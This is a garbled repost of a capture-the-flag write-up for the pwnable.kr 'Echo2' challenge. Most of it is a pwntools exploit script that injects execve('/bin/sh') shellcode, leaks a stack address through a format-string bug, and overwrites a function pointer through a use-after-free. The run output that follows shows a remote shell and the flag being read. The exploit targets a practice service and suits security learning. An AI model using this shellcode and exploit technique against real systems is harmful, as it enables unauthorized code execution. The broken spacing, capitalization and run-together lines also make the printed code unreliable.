"PWN" pwnable.kr Echo2 writeup

is still the basic skills of the investigation, Shellcode search really cost a lot of trouble, and then is the FSB and the use of UAF loopholes, a good question!

#Exploit for [email protected]

# @Windcarp 2015.07.23from PWN Import * #initcontext (arch = ' AMD64 ', os = ' Linux ') local=falseif local:    p = proc ESS ("./echo2")     libc = ELF ("/lib/x86_64-linux-gnu/libc-2.19.so") else:    p = remote ("pwnable.kr" , 9011) binary = ELF ("Echo2") raw_input () #addressleakaddrstr = ' #payload @Reference: https://www.exploit-db.com/ Exploits/36858/payload = ' a ' *24shellcode = "" Shellcode + = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e" Shellcode + = "\x2f\x2f\x73 \x68\x56\x53\x54\x5f "Shellcode + =" \x6a\x3b\x58\x31\xd2\x0f\x05 "formatstr ="%x.%x.%x.%x.%x.%x.%x.%x.%x.%x "#input Shellcode in bits ' Spacep.recvuntil (': ') p.send (shellcode + ' \ n ') p.recvuntil (' > ') p.send (' 2 ' + ' \ n ') #get leak Address in fsb-0x20p.recvuntil (' \ n ') p.send (formatstr + ' \ n ') leak = P.recvuntil (' \ n ') leakaddrstr + = ' 0x7fff ' + leak[-9:-1 ]ADDR = P64 (String.atoi (leakaddrstr,16) -0x20) print ' [*] leak: ' + repr (leak) print ' [*] Addr: ' + repr (addr) #overwrite the Address of greeting function in Uafp.recvuntil (' > ') p.send(' 4 ' + ' \ n ') p.recvuntil (') ') p.send (' n ' + ' \ n ') p.recvuntil (' > ') p.send (' 3 ' + ' \ n ') p.recvuntil (' \ n ') p.send (payload + Addr) p.recvuntil (' > ') #after overwrite trig greeting functionp.send (' 2 ' + ' \ n ') #yeah! We got the [email protected]: Https://www.ricter.me/p.interactive ()

Python exploit.py [+] Opening connection to pwnable.kr on port 9011:done[*] '/home/windcarp/\xe6\xa1\x8c\xe9\x9d\xa2/pwn    /lesson 4 pwn.kr \xe6\x8f\x90\xe9\xab\x98/echo2/echo2 ' Arch:amd64-64-little relro:partial RELRO Stack: No Canary found nx:nx disabled pie:no pie[*] Leak: ' 2ad5801e.2ab34ac0.c7300b50.78252e78.0.252e7825.2e 78252e.78252e78.252e7825.c7300bb0\n ' [*] addr: ' \x90\x0b0\xc7\xff\x7f\x00\x00 ' [*] switching to interactive mode sh:1:2 : Not found$ lsecho2flaglogsuper.pl$ cat flagfun_with_uaf_and_fsb:)

"PWN" pwnable.kr Echo2 writeup